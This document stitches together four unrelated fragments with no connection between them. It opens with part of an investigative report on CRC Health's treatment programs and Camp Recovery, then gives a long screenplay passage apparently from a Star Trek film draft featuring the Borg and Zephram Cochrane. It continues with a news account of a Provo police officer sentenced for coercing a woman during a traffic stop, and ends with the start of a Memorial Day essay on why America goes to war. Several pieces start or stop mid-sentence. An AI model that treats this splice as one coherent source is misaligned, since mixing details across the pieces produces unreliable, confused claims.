To CRC officials, the lawsuits, criminal investigations and state sanctions all come in response to isolated events, aren't "systemic," and shouldn’t reflect on the dedication and quality of a large company serving 30,000 trouble-prone teens and substance abusers each day. The company declined to respond to a memo outlining allegations made by alumni, parents and former employees about questionable practices at specific programs, citing a legal requirement to protect patient confidentiality. But a public relations consultant, Robert Weiner, who works closely with CRC and its most prominent board member, Gen. Barry McCaffrey, President Bill Clinton’s drug czar, did respond in general terms in a phone interview: “The people you cited can whine all they want, but that’s just a bunch of specifics we can’t talk about compared to 30,000 people a day we’re making better lives for.”
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“In a human-run company there will be human errors in some cases,” he added. “But in other cases, it’s garbage.”
In a December 2011 press release in response to the Tennessean series, CRC vice president Jonathan Ciampi disputed criticism of CRC over the reported deaths, citing positive surveys of parents and clients, and certification by government regulators and accrediting agencies. “Safety and quality are our highest priorities.” And in a conference call last fall for investors, CRC’s new CEO, Andrew Eckert, discounted the developments in Tennessee as merely “unwelcomed bumps in the road.” In fact, later in the call he claimed that “CRC is in the process of staking its ground as the definitive leader in clinical excellence.”
Camp recovery: More patients, more revenue
Such claims of excellence do not seem to have pierced the canopy of the Santa Cruz redwoods, home to Camp Recovery, the first drug treatment facility CRC purchased in the mid-’90s. Nestled on 25 hilly acres in Scotts Valley, Calif., Camp Recovery is an idyllic setting for recovery for as many as 70 adults and teens at a time. Yet after Bain purchased CRC in 2006, according to former employees, safety and quality |
the hell... Porter pulls aside a large conduit and stops. Buried deep within the tangle of bio-circuits is what looks like a HUMAN FACE covered with cybernetic tubes and chips. It's barely discernable in the darkness and clutter. Porter isn't even sure what he's looking at. He leans in for a closer look... and suddenly the eyes open. 52 DATA 52 who hears a THUMP and a sickening liquid CRUNCH from off camera. He takes a few steps in that direction. DATA Ensign Porter? He stands there for a moment, puzzled. Then a faint SKITTERING SCRAPE can be heard -- like tiny claws on a metal surface. He whirls at the sound. DATA Ensign... are you all right? No response. Data walks around the now deathly quiet room... turns the corner to where Porter was working. He's gone. The open panel is still there, and there doesn't appear to be any place Porter could've gone. Data looks puzzled, takes a step forward when his boots make a squishing sound. He looks down... DATA (taps combadge) Data to Bridge. No response. DATA Data to Security. (beat) This is Lieutenant Data to anyone who can hear my signal. I need assistance in the Environmental Control Room. Nothing. Data quickly turns and heads for the door. There's a metallic SCRAPE above him and he looks up -- 53 TWO BORG 53 are climbing to the ceiling like two spiders ready to pounce. One of them has Porter and appears to be inserting some horrible Borg device into his head. Before Data can react, the second Borg suddenly lunges at Data. CUT TO: 54 EXT. MONTANA PLAINS - MISSILE SILO - DAY 54 The SILO is buried deep underground, but on the surface there is a large, poured concrete MISSILE DOOR. Built to withstand a nuclear blast, the door has nevertheless been badly charred and damaged by the Borg attack from orbit. There are large, smoking CRATERS all around. Part of the ground seems to have COLLAPSED to a depth of ten feet, like a sinkhole nearby. Picard and his team approach. GEORDI This must be it. PICARD How serious is the damage? GEORDI (off tricorder) I'm having trouble scanning underground. There's a lot of radiation leaking from something. PICARD Probably from the nuclear warhead. Cochrane was planning to use it to ignite the warp drive. As they speak, Beverly pulls out a hypospray and gives everyone injections. BEVERLY This will protect us from the radiation. Geordi moves to the thick, concrete missile door, scans it. GEORDI I'm picking up faint life signs twenty meters below. PICARD There should be an access hatch nearby... Everyone spreads out... looking for the hatch. One of the guards -- LANGE -- finds it. LANGE Over here. Everyone rushes over to him. There's a small HATCH on the ground that has been partially hidden by weeds and brush. Geordi kneels down, starts working a complex- looking LOCK on the hatch. GEORDI Alphanumeric lock. We need a password to get in... PICARD I have the password right here. Picard pulls out his phaser and everyone steps back. He aims and FIRES at the hatch, which is BLOWN OPEN, revealing a ladder that leads down into the darkness. As they start to crawl inside... 55 INT. MISSILE SILO - CONTROL ROOM 55 This is the "mission control" for Cochrane's test site. The underground room is filled with 21st century equipment, consoles and monitors. One entire wall of the room is dominated by a huge METAL BLAST DOOR, which is now closed. We will learn that on the other side of that door is the nuclear missile/warp ship itself. The ceiling has partially collapsed. Chunks of concrete and fallen beams have destroyed some of the equipment...Only a few of the consoles are active, most are dark or fritzing sporadically. The lights are out, and the room is illuminated by a few smoldering fires. Four dead bodies can be seen strewn around the room. It's a scene of destruction. 56 PICARD 56 and his team ENTER the dark and smoking ruin. Beverly and Picard move to one of the dead men, while Geordi and the Security Guards move to the other three. Beverly rolls the man onto his back -- he's clearly dead. The name stitched on his uniform says Rippert. Picard looks up. PICARD (to others) See if any of these men are Cochrane. Geordi and the Guards start checking the dead bodies. GEORDI Mitchell... DePaul... LANGE This one's a woman... named Kirby. Picard and Beverly move toward the immense blast door. As Beverly scans it, Picard glances at a nearby desk... 57 THE DESK 57 is littered with debris and various documents and schematics. THREE PHOTOGRAPHS are pinned to a bulletin board above the desk -- they show Zephram Cochrane and two angles of his warp ship. The photos are odd- looking, printed on what appears to be some sort of cloth. BEVERLY There's a life sign behind this door... about ten meters below. Geordi moves to the door. GEORDI Blast door. It's designed to protect the control room when the missile is launched. PICARD There should be some kind of manual release... They hunt around for a moment. Geordi runs his hand along the edge of the blast door. Picard turns to the Guards. PICARD (to Lange) Get those fires out and then try to restore main power to the control room. LANGE Aye, sir. The Guards move off. GEORDI Got it, Captain. Geordi has found an emergency BOX with several pneumatic tubes and a hydraulic lever labeled "emergency use only." He pulls down the lever, there is a hissing sound, and the blast door slowly SLIDES DOWN into the floor. We can now see the MISSILE SILO itself beyond the door. Picard, Geordi and Beverly step into... 58 INT. MISSILE SILO - CONTINUOUS 58 Picard, Geordi and Beverly step onto the catwalk, which surrounds the Silo walls. In the middle is the WARP SHIP itself. It should look like an advanced ICBM missile with a COCKPIT in place of the warhead, and with numerous modifications to the fuselage. The cockpit is on the same level as the control room. On the side of the missile is the name "Phoenix". The missile itself extends down another FOUR STORIES. There are other catwalks below this one, with ladders connecting the different levels. Beverly sees something below. BEVERLY There. 59 NEW ANGLE 59 Two catwalks below we can see a man sprawled on the grating. They all scramble down the ladders past the massive missile. (NOTE: Because of the design of the Silo, we will see the entire missile only in a few shots. For the most part, our view is limited to sections of the missile.) Beverly reaches the man, who is lying face-down on the metal grating. She scans him... BEVERLY Severe radiation exposure... Geordi looks over at the section of the missile on their level. The side panels have been removed, revealing complex circuitry within. Picard joins Beverly, who turns over the injured man. It's ZEPHRAM COCHRANE -- the man whose picture we saw on the Borg monitors. Beverly begins pulling devices out of her medkit, injects Cochrane with a hypospray. Cochrane is a man in his mid-forties. He has a youthful, dynamic appearance marred by recent radiation burns. PICARD It's Cochrane. BEVERLY I've stabilized him for now... but he's in a coma and he's going to need radiometric therapy. I want to take him to the ship. Picard nods, reaches into his pants pocket, takes out a combadge. PICARD Picard to Enterprise. (no response) Enterprise, please respond. GEORDI It could be the radiation, Captain. Try from the surface. Picard nods... then takes a deep breath, tries to orient himself to the task at hand... there's a lot at stake and a lot to do. He turns to Geordi. PICARD Mister La Forge, listen very carefully. If you remember your history... in less than twenty- four hours, a Vulcan ship will be passing through this system. When it does, this ship needs to be in space, flying at warp speed. Geordi takes a deep breath, it's a tall order. GEORDI I'd better get started. Geordi goes to work. Picard bends down and carefully hoists Cochrane up into a fireman's carry. Beverly follows him up the catwalk... CUT TO: 60 EXT. MISSILE SILO - DAY 60 Minutes later. Cochrane is lying on the ground. Beverly is kneeling beside him, unfolding a portable stretcher from her medkit. Picard is checking two combadges with a tricorder. PICARD It's not the radiation... and there's nothing wrong with the combadges... the Enterprise just isn't responding. BEVERLY Jean-Luc, this man needs medical attention, now. PICARD As I recall, the town of Resurrection is about two kilometers East of here. They might have a hospital... Picard looks troubled at the thought. BEVERLY What are we waiting for? Let's go. PICARD It may not be that simple. This is an extremely difficult and paranoid time in human history. BEVERLY Are you saying they won't help us? PICARD I'm saying they might shoot us on sight. You have to remember... these people have watched their entire way of life collapse around them. BEVERLY There must be some good people... even in this time. PICARD Let's hope so. Because if Cochrane dies... the future may die with him. Picard kneels down and they begin to carefully put Cochrane on the stretcher... CUT TO: 61 INT. ENTERPRISE - BRIDGE 61 Riker, Troi and Worf studying a MONITOR which shows a three-dimensional DIAGRAM of the Enterprise, which turns and rotates as needed. The schematic shows battle damage and repair efforts. WORF I have assigned two damage control teams to locate the source of our communication problems. So far, they've had no success. RIKER Assign another team if you need to. I want to re-establish communication with the Captain as soon as possible. Worf nods and begins making notes on a PADD. TROI Are we in any danger of being detected by Earth defense systems? WORF There were no planetary defense systems in this era. Their weapons were designed to fight each other... not extraterrestrials. RIKER We have to start thinking about a way to get home. (to Troi) Analyze our readings from the temporal vortex. We're going to have to recreate whatever the Borg did to -- Just then the ship SHUDDERS and the LIGHTS FLICKER. RIKER Report. TROI (off console) We just lost main power... and we've got Class-Three alerts all over the ship. I'm not sure what's -- An ALARM goes off on Worf's console. He reacts to it. WORF A ship-wide decompression has been initiated! RIKER What? TROI We're venting our internal atmosphere directly into space! 62 EXT. ENTERPRISE 62 CLOSE ON THE SAUCER as vents and hatches POP OPEN on the hull and GIANT JETS OF VAPOR start blowing out into space. 63 INT. CORRIDOR 63 Crewmembers walking along are suddenly KNOCKED to the floor as hurricane force WINDS blow through the Corridor. The ship is venting air into space, creating a virtual VACUUM inside the ship! The people in the corridor grab onto the bulkheads, struggling to hang on against the force of the wind... 64 INT. BRIDGE 64 Suddenly an emergency AIRLOCK on the Bridge OPENS. VIOLENT WIND roars through the Bridge and everyone hangs on. Troi is ripped out of her chair, flown across the Bridge, slams up against the bulkhead, struggling to hang on. Worf runs over, grabs her arm, keeps her from flying out. Riker manages to reach a control panel -- hits a button and an EMERGENCY BULKHEAD finally slides down over the airlock and the wind DIES DOWN. Everyone takes a beat. RIKER What the hell is happening, Worf? WORF (off console) It appears that someone has taken over the Environmental Control Room. TROI Someone...? RIKER (realizing) The Borg. Some of them must've beamed over before we destroyed their ship. (to Worf) Seal off that entire deck with emergency force fields. TROI Wil... Data was down there. RIKER (to Worf) Mister Worf... find Data if you can, but your top priority is isolating the Borg. WORF Understood. Worf heads for a Turbolift. OFF Riker's disturbed expression... CUT TO: 65 CLOSE ON DATA'S FACE 65 His eyes are closed. There's a beat, then his eyes fly open and he looks around. We PULL BACK slightly, revealing Data is lying on some kind of tabletop with metallic clamps and restraints. He tenses his arm and tries to move, but he is unable to break the restraints. About two feet in front of his face is what appears to be a bulkhead. There is a cacophony of strange background NOISE -- scratching, hisses, gurgling liquids, odd alien hums... Suddenly, the table begins to MOVE. It ROTATES, and as it does so we realize that Data has been hanging upside down staring at the floor. It's a disorienting moment as our perspective changes and Data rotates upright. 66 DATA'S POV 66 As the table gyrates, we REVEAL the ROOM slowly. And we realize we're in -- 67 INT. BORG HIVE 67 The Environmental Control Room seen earlier has now been transformed into the INNER-SANCTUM of the BORG. The room has a dark, moist, organic feel -- a tropical jungle of cybernetic equipment. The Borg are altering the room, converting Starfleet technology and materials into the living, bio- mechanical look of the Borg. We see one Borg drone attach a small pod to a Starfleet console and activate it. The pod immediately sends out a COMPLEX WEB of BORG TECHNOLOGY which covers the Starfleet console inside and out. It's like weeds overpowering a flower bed -- within seconds the console has been BORGIFIED. The walls, ceiling and floor are now honeycombed with the ALCOVES that make up the BORG COLLECTIVE. Borg drones are motionless in their alcoves, cabling and other conduits connecting them to various equipment... while other Borg are moving about the room, carrying out various modifications to the room. At one point, we see Ensign Porter. He's been completely Borgified. His skin pale, expression blank. No hint of humanity left. 68 DATA 68 still strapped to the table, which is twisting and rotating, giving him frightening new glimpses of the room. A new image appears -- SIX BORG DRONES are clustered together in one section of the room, each with an elaborate series of hoses and conduits connected to its face. Through the tubes we can see an exchange of FLUID and ENERGY pulsing back and forth -- some sort of bizarre "feeding" or "renewal" is going on. The tubes all seem to lead toward the ceiling. Data is now horizontal on his back and the table LOCKS into position. A Borg drone OPENS A PANEL on the side of Data's head, and begins connecting a thick bundle of optical cabling to it. DATA (to Borg) Your efforts to assimilate me will be unsuccessful. The Borg ignores him, activates a console... and the cabling connected to Data's head LIGHTS UP with power. They're trying to connect him to the Collective. Data thinks for a moment, tilts his head slightly... and then suddenly there's a SHOWER of SPARKS from the cabling he's been connected to. The lights on the cable go out. Data has thwarted their attempts. DATA (to Borg) It would appear that resistance is not always futile. Suddenly a new VOICE is heard echoing through the room -- a woman's voice, low, seductive, deadly: WOMAN'S VOICE Brave words. I've heard them before from thousands of species across thousands of worlds... since long before you were created. Data looks up toward... 69 THE CEILING 69 A RUSTLE of MOVEMNET somewhere in the cyber-tangle... almost like a snake slithering beneath the weeds. And for a brief instant we get a glimpse of a FACE unlike any Borg we've ever seen. The face of a woman. Pale- skinned... piercing eyes...raven hair slicked back... a hauntingly beautiful image in a sea of nightmarish technology. And then it's gone. 70 DATA 70 Frowns. He saw it, too, but he's not sure what to make of it. WOMAN'S VOICE But now... they are all one with the Borg. DATA I am unlike any lifeform you have encountered before. As an android, I am in complete control of my neural net. The information contained there cannot be forcibly removed. WOMAN'S VOICE You are an imperfect being... created by an imperfect being. Finding your weakness is only a matter of time. Suddenly three Borg drones converge on Data with various wicked-looking Borg devices. One of the Borg has a specialized cybernetic ARM, which EXTRUDES a series of stiletto-tipped DRILL SPIKES. As the six- inch spikes begin to BORE INTO Data's head... CUT TO: 71 EXT. MONTANA - RESURRECTION CITY - DAY 71 Resurrection is a small town -- around 1,000 people -- a rural, Western community that's probably existed for at least two hundred years, and we can see the roots of the original ranching community in some of the architecture. But it's also a community of the 21st century. The most striking feature of the town is that it sits in the middle of nearly a hundred WIND MILLS, which provide the only source of power for the town. The blades are enormous, but the structures supporting them are little more than simple poles. Some are sleek, fiberglass, futuristic... others have a more cobbled together, make-shift appearance. At the moment, only a few blades are turning in the gentle breeze. Picard and Beverly emerge from the nearby woods carrying the stretcher. They exchange a look at the sight of the city and then head toward it... 72 EXT. RESURRECTION CITY - DAY 72 A few minutes later. Picard and Beverly carrying Cochrane down the street toward the hospital at the end. As they walk along, we get our first taste of post-apocalyptic 21st century life: This is a recognizable American community, but it's definitely a futuristic town. Clothing, architecture, technology -- all have changed over the course of seventy years. But it is a broken future. What used to be high-tech public COMPUTER TERMINALS are rusted and abandoned. We can see the corroded hulks of HOVER- CARS lying idle in the streets. Futuristic elements now useless. At one point, they pass a large polyurethane TENT -- the inside surface is covered with condensation and we can see the silhouettes of people moving within. The entrance is guarded by a single Militia Guard. Later we will learn that this is a primitive greenhouse, the only place where they can grow uncontaminated food. What used to be a McDonald's, or some other recognizable food chain, has now been gutted and has been turned into a kind of blacksmith shop. People are fashioning metal into various tools using hammer and tongs. The sidewalks are populated with PEOPLE, who congregate in small groups, quietly talking amongst themselves, others just staring vacantly off into space. Many of them have visible burn scars and damage to their bodies -- victims of the war and post-nuclear environmental dangers. A few of them are applying a special lotion to their arms and face -- protection against the toxic elements. A long FOOD LINE snakes around a block, as people line up to get their daily rations. A few people glance up at Picard and Beverly with curious or suspicious looks. This is not a community that welcomes strangers. At one point, they see a man dressed in futuristic CAMOUFLAGE carrying an automatic weapon -- we will learn he's a MILITIA SOLDIER. He stares at them with a neutral expression, then walks off. The people here have that hollow-eyed, listless look about them. They're going through something that makes the Great Depression look like a minor inconvenience. But there's also a toughness to these people, a resilience and determination to survive in the face of overwhelming odds. We are looking at our future... and it's on the verge of collapse. CUT TO: 73 INT. HOSPITAL - EMERGENCY ROOM - DAY 73 A short time later. Cochrane is being lifted onto an operating table. Picard and Beverly step back from the table as a DOCTOR and two NURSES look him over. The doctor is in his early fifties and has a weathered, tired look to him. The hospital itself is like the rest of the town -- a futuristic setting fallen on hard times. The light in the room is provided mostly from the sunlight streaming in through the windows. Light bulbs and other gear flicker dimly around the hospital -- we get the feeling they have very little power. DOCTOR How long has he been unconscious? BEVERLY At least four hours. He checks Cochran's head injury as Beverly takes out her tricorder and scans him. DOCTOR It looks like he has a cranial fracture, but I'll need X-rays to be sure. (to Nurse) Get Ruby in here. One of the nurses runs off. BEVERLY (off tricorder) He has a severe fracture of the left occipital plate. He's not hemorrhaging... but the radiation has damaged his KNA and his APR cell count... He looks at her curiously. DOCTOR "APR cell count?" What the hell are you talking about? PICARD (quickly) Doctor Crusher has been... studying some advanced medical theories. NURSE (re: tricorder) What is that? BEVERLY It's a... new medical scanner. It's a little more precise than an X-ray machine. The Doctor eyes it. DOCTOR Is it Japanese? BEVERLY Um... yeah. (beat) Now he's going to need a respirator. Do you have one? DOCTOR We have two... but we don't have the juice to run them. PICARD Juice? DOCTOR Power. There hasn't been a lot of wind through here for the last couple of weeks. Most of the batteries are depleted. BEVERLY Don't you have any generators, or other fuel sources? The Doctor throws her an irritated look. DOCTOR Maybe you'd like to take your patient to the hospital in Bozemen... it's only two hundred miles away. Cochrane wheezes -- breathing becoming labored and ragged. Beverly scans him, urgent. BEVERLY His automatic reflexes are fluctuating. We've got to get him on a respirator. DOCTOR (to Nurse) Bag him. The nurse picks up a portable respirator sack -- puts it on Cochrane's face and squeezes the bag, forcing air into Cochrane's lungs. Picard has been thinking through this scene, finally has a solution. PICARD Beverly -- your tricorder. She hands him her tricorder. PICARD (to Doctor) Where's the battery room for the hospital? DOCTOR I told you, there's no -- PICARD Where? DOCTOR Outside, around back. Next to the water tank. Picard rushes out the doors. Beverly checks Cochrane's pulse. BEVERLY His heartbeat's irregular... Beverly climbs up on top of Cochrane, straddling him, begins giving him 24th century CPR. She takes charge. BEVERLY Adrenaline -- ten CC's! As they rush to save him. 74 EXT. HOSPITAL - DAY 74 The back of the building. Picard rushes out and spots an old, dilapidated BATTERY UNIT providing power to the hospital. He quickly yanks off the back panel, revealing a tangle of wires, and several large batteries. He kneels down, then removes the back of the tricorder. 75 CLOSE ON TRICORDER 75 as Picard pulls out a small POWER CELL -- about half the size of a dime. The blinkies on the tricorder go out. 76 PICARD 76 holds the power cell with one hand, and starts pulling out wires from the batteries with the other. 77 INT. HOSPITAL - EMERGENCY ROOM - DAY 77 As before. Beverly, the doctor and the nurse trying to save Cochrane. BEVERLY (pumping his chest) One... two... three... compress! The nurse squeezes the bag. Suddenly the room is filled with the HUM of POWER and ALL OF THE LIGHTS AND EQUIPMENT COME TO LIFE. Monitors blinking, fluorescent lights flashing on. Everyone reacts with shock. 78 INT. HOSPITAL WARD - DAY 78 It's filled with patients. The lights and equipment here FLASH ON, as well. Doctors and patients alike react with surprise. 79 INT. HOSPITAL - EMERGENCY ROOM - DAY 79 Picard enters. They've placed a RESPIRATOR down Cochrane's throat, and attached electrodes to his chest. Beverly has just finished giving him an injection with a hypospray. The heart monitor in the background is now beating regularly. The doctor turns to Picard. DOCTOR What did you do to the batteries? PICARD Oh... just a little tinkering. How is he? BEVERLY He's stable... for now. (with meaning) But it would be better if we could contact... our friends. PICARD Yes. But until then, you'll have to make do with what you've got. BEVERLY That'll be interesting. A WOMAN'S VOICE: RUBY'S VOICE What happened to him? Everyone turns. 80 NEW ANGLE 80 revealing RUBY SLOANE standing at the front of Cochrane's bed. A striking woman in her mid-to-late thirties -- dark hair, tall, lean, beautiful under normal circumstances but at the moment she's not at her best, it looks like she's just come in from a hard day's work. She's wearing an old lab coat. But the most striking quality of all is the innate intelligence we can see in her eyes. She's looking directly at Picard for an answer. Picard realizes he has to say something. He looks into her eyes and there is a moment here -- a brief spark of chemistry that in normal circumstances the Captain just might follow up. But at the moment, he shoves that electric feeling aside and tries to give her an answer. PICARD There was some kind of explosion out at the missile silo... She looks at him for a moment, her eyes boring into him without expression, as though probing the truthfulness of his statement. DOCTOR Ruby, we're going to need a series of cranial X-rays tonight. RUBY (nods) I have a fresh set of plates at home. I'll have them here by eight. She turns back to Cochrane, moves to his side, gently takes his hand and looks at him with sad affection. RUBY (quiet) Take care of him. He's a very special man. PICARD Yes, he is. She looks up at Picard, and again there's a slight feeling of chemistry in the air. And then she turns and starts to walk out of the room. Picard's combadge BEEPS. Reactions. GEORDI'S COM VOICE La Forge to Picard. RUBY (stopping) I think there's someone in your pants. PICARD Excuse me. I have a... telephone call. Picard takes a few steps away, pulls the combadge out of his pants pocket, taps it. Ruby watches him a beat, then walks out of the room. PICARD Picard here. GEORDI'S COM VOICE Captain, we have a problem. I think you'd better get back here. PICARD I'm on my way. Picard out. Picard moves to Beverly. PICARD (sotto) I have to go back to the silo. Will you be all right? BEVERLY I'll be fine. (re: Cochrane) He's a different story. Beverly begins examining the medical equipment she'll have to work with as Picard exits... 81 EXT. RESURRECTION CITY STREET - DAY 81 A short time later. Picard walking down the main street back toward the gates. People passing him, taking no notice of him...Picard's mind thinking ahead. He happens to glance down a side street, then he stops. 82 NEW ANGLE 82 Looking down the side street. Ruby, the mysterious woman from the hospital, is walking along with a camera bag now slung over her shoulder. She stops for a moment as she passes the hulk of a burnt-out old hover car... stares at it...then pulls a home-made FUTURISTIC CAMERA out of her bag and snaps a picture of the car. She continues on her way. Picard is intrigued -- wonders about this woman and what it is she could be taking a picture of. Just then -- MAN'S VOICE Catch. Picard turns just in time to catch a small, metal canister with a screw-top. The man who threw it steps into view. It's LIEUTENANT SCRIMM. Scrimm is the head of the town's militia. While not a physically threatening man, there is a quietly disturbing quality about him which conveys an intelligence laced with a tightly reined volatility. He's wearing futuristic combat fatigues and always carries a sidearm. Before the war, Scrimm was probably one of the "survivalists" who used to be dismissed as radicals until their predictions of Armageddon came true. At the moment, Scrimm is presenting his friendliest face to Picard. SCRIMM (pleasant) Think you'll need that. Picard eyes the canister, not sure what to make of it. SCRIMM It's no zone solution. (off his look) You know. "No ozone." He points to the sky. PICARD Oh... yes... ultraviolet protection. Thank you. Mister...? SCRIMM Lieutenant, actually. Lieutenant Jonathan Scrimm. I'm the head of the Resurrection Protective Force. (beat) And you are? PICARD Jean-Luc Picard. SCRIMM Great name. French? PICARD Yes. SCRIMM You don't sound French. Scrimm is still smiling at him, but his eyes never leave Picard. PICARD I was raised in England and here in the States. Thank you for the... no zone. Picard begins to walk away, not wanting to engage any citizens of the town. Scrimm falls in next to him. SCRIMM Where in the States? PICARD Oh... here and there. You know how it is. SCRIMM Not really. I was born and raised right here. Never had much use for travel. He casually steps in front of Picard, blocking his way. SCRIMM Where are you from most recently? PICARD (thinking fast) California. San Francisco. SCRIMM Beautiful city. Used to be, anyway. I didn't think anyone still lived there. PICARD There's a few of us left. Picard steps around him and continues walking down the street. Scrimm waits a beat, then walks after him again. SCRIMM That was a pretty clever trick you did with the hospital's batteries. How'd you do it? PICARD It wasn't a trick. I used to be an electrical engineer. SCRIMM Huh. He steps in front of Picard again, still pleasant but a little bit of a smile fading from his face. Picard realizes he isn't going to shake this man so easily. SCRIMM And what were you doing out at the missile silo? PICARD I'm an old friend of Cochrane's... I wanted to see how he was doing. SCRIMM Lucky for him you came by when you did. He might be dead now. PICARD Yes. SCRIMM Maybe you can tell me what he's been doing in that silo. We heard some explosions out there this morning... PICARD I think he was running a test on an old rocket engine... and one of the fuel cells burst. Scrimm eyes him evenly. SCRIMM You seem to have an answer for everything. PICARD Something wrong with that? SCRIMM Not yet. A tense beat. Then Scrimm smiles easily. SCRIMM (re: balm) Be sure you put that on. You need a lot of protection around here. He holds Picard's eyes for a moment. PICARD Thank you. But I've never had much trouble protecting myself. Now it's Picard's turn to smile pleasantly at Scrimm. Picard walks around him and heads for the gates. Scrimm watches him go with a thoughtful expression -- clearly, he's more than a little suspicious... CUT TO: 83 EXT. SPACE - THE ENTERPRISE 83 in orbit of Earth. 84 INT. CORRIDOR 84 Worf and a large SECURITY DETACHMENT -- a dozen or so men and women -- are moving down the Corridor with grim looks on their faces. They are carrying new powerful- looking phaser rifles and other equipment. The feeling is of an elite combat squad heading for a dangerous mission. They stop at one point and Worf lifts up a DECKPLATE, exposing a large HATCH in the floor. Worf hits his combadge. WORF Worf to Bridge. We're in position. 85 INT. BRIDGE 85 Riker in command, Troi nearby. Riker is standing at the security station looking at a monitor which displays a schematic graphic of the ship. The position of the security team is flashing -- we can see they are on Deck 46. RIKER This is the Bridge. I'm releasing the emergency force fields. He nods to Troi, who works a console. 86 INT. CORRIDOR 86 Worf and his team watch as the FORCEFIELD protecting the hatch flashes off. Worf reaches down and releases the hatch, which slides open with a soft whoosh. He glances at his men for a moment, then JUMPS down the hatch... 87 INT. DECK 47 - CORRIDOR 87 As Worf lands on his feet. The light is dim, no power on this deck, hard to see. He looks around warily for a moment, phaser at-the-ready, then activates his wrist beacon. We immediately notice that we can see Worf's breath -- it's freezing cold down here. He shines the light around the darkened corridor, then silently motions his arm for the others to follow. A beat, then we see the security officers start to drop into the corridor from the hatch above... 88 NEW ANGLE - CORRIDOR 88 As Worf's squad spreads out along the hall, weapons at- the-ready, everyone alert with fingers on the triggers. We see that the phaser rifles are equipped with their own light sources, intended to illuminate the target before you shoot at it. The Security Officers are constantly moving their lights back and forth through the chilly air. Worf gives hand signals -- holds up two fingers, then a fist, and points forward. Two Guards trot down the corridor about fifteen feet, stop, and take up firing positions... then two more members of the team run down, leap frog ahead of them and take positions further down the corridor. Classic military deployment. Worf starts scanning with a tricorder. WORF (hits combadge) Worf to Bridge. RIKER'S COM VOICE Riker here. WORF There's a dampening field in place on this deck. Our tricorders are useless. The team continue to explore Deck 47. It's spooky, eerie, a sense of menace around every corner. They open doors, check room by room, section by section, still no sign of the Borg in the freezing cold darkness. 90 ANGLE ON SECURITY GUARD 90 The Corridor directly ahead has been stripped of wall, ceiling and deck panels -- all the normal decorative Enterprise sheathing is gone, revealing the circuitry and machinery of the ship itself. Unlike the rest of the corridors, there does appear to be POWER flowing through some of the conduits up ahead, and it gives off an eerie glow. We can also see that some of the machinery has been altered and changed -- not just the neat and orderly arrangement you'd expect to find behind bulkheads -- there's a sense of cross-circuitry, re-wiring, equipment being rearranged. Clearly, a lot of work has gone on in this area of the ship. Worf steps forward, examines the corridor closely. ENSIGN HAWK What the hell is going on? WORF Borg... Worf signals the team forward, and they slowly begin picking their way down the Borgified Corridor. It's not easy -- they have to choose their footing carefully as they walk through the maze of cables, circuits, and machinery... Ensign Hawk accidentally steps on some circuitry, which gives off a BEEP. The entire team suddenly whirls their lights and weapons on the unfortunate Ensign, who pales at their sudden attention. Worf looks irritated, then motions his team to continue their search. They continue making their way down the spooky corridor... and as they turn a corner... 92 NEW ANGLE - ANOTHER CORRIDOR 92 where the machinery is now THICKER and more BORG-LIKE in appearance. Tubes and cabling hang down from the ceiling. If anything, it's even colder in here. The deeper they go, the worse it gets. We can now hear a low, sinister HUM of alien power. At the end of this corridor is the ENVIROMENTAL CONTROL ROOM, as seen earlier. The entire doorway is gone -- and a weird pulsing |
had a history of assault, criminal mischief and possession of a dangerous weapon as a juvenile. That said, he asked for jail and probation to be consistent with the sentences of other cases.
Westerman gave a tearful apology to the victim and his own wife and family. He also apologized to all police officers for giving them a bad name.
"Not a day goes by I don't regret my decisions that day," he said. "I'm sorry I was in a position of authority and trust and I used the public to satisfy my sexual desires."
They were crocodile tears. He was crying because he got caught, not because he was sorry for what happened. –Patrick, victim's father
He was then handcuffed and taken into custody.
Both Leslie and her father said they don't believe Westerman's apology was sincere.
"They were crocodile tears," Patrick said. "He was crying because he got caught, not because he was sorry for what happened."
The charges stem from a minor traffic accident near 300 South and University Avenue on July 22 that Westerman investigated. Two cars were originally involved, but he eventually told the other driver to leave, according to court documents. He performed a sobriety test on Leslie, who he said appeared to be intoxicated.
Westerman then drove the woman's car to a nearby parking lot, where he searched it and then told her she would be arrested for felony charges unless she lifted up her shirt for him.
"I said, ‘I'm a good girl, I'm a good girl, I'm a good girl, what do you want from me? Let me go, let me go' and that's when he said, ‘What if you are a bad girl?' I said, ‘What do you mean?' and he said 'Flash me' and that was the last thing I wanted to do," she said.
The woman said she complied because she didn't want to go to jail.
"It wasn't nice," she said. "The whole time I'm in tears, crying." The victim then said she asked Westerman if she could go, and he made her lift her shirt again before releasing her.
The next day, she reported it to the Utah County Sheriff's Office.
Investigators said Westerman "used his position to request sexual favors in exchange for not filing criminal charges." Prosecutors said Westerman fondled the woman twice.
The obstruction charge was filed because Westerman "provided false statements" to deputies. Westerman told investigators he was at the accident scene for only 10 minutes. Surveillance video, however, shows he was on scene for more than 50 minutes and the videos substantiated other parts of her story.
Westerman, who began working for Provo in 2006, was fired from the department after an internal review of the incident.
Westerman's attorney, Greg Skordas, pointed out that whatever sentence was given, it should be noted that Westerman also lost his job and would never work as a police officer again.
Patrick said he doesn't think the sentence amounted to justice.
"I knew we wouldn't get what I thought was just and I accept that," he said. "These things have a way of coming back to haunt and I hope that doesn't happen."
-----
Story written by Emiley Morgan, with contributions from Randall Jeppesen and Sam Penrod.
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You don’t fight for your country, you fight for your government. The Golden Pinnacle, by Robert Gore
On Memorial Day, America remembers and honors those who died while serving in the military. It is altogether fitting and proper to ask: for what did they die? Do the rationales offered by the military and government officials who decide when and how the US will go to war, and embraced by the public, particularly those who lose loved ones, stand up to scrutiny and analysis? Some will recoil, claiming it inappropriate on a day devoted to honoring the dead. However, it is because war is a matter of life and death, for members of the military and, inevitably, civilians, that its putative justifications be subject to the strictest tests of truth and the most probing of analyses.
Millions have marched off to war believing they were defending the US, which implies the US was under attack. Yet, setting aside for a moment Pearl Harbor and 9/11, US territory hasn’t been invaded by a foreign power since the Mexican-American War (arguably—Mexico claimed the territory it “invaded” was part of Mexico), or, if the Confederacy is considered a foreign power, the Civil War. That war ended a century-and-a-half ago, yet every US military involvement since has been justified as a defense of the US. That has gradually attenuated, in a little noted slide, to a defense of US “interests,” which is something far different.
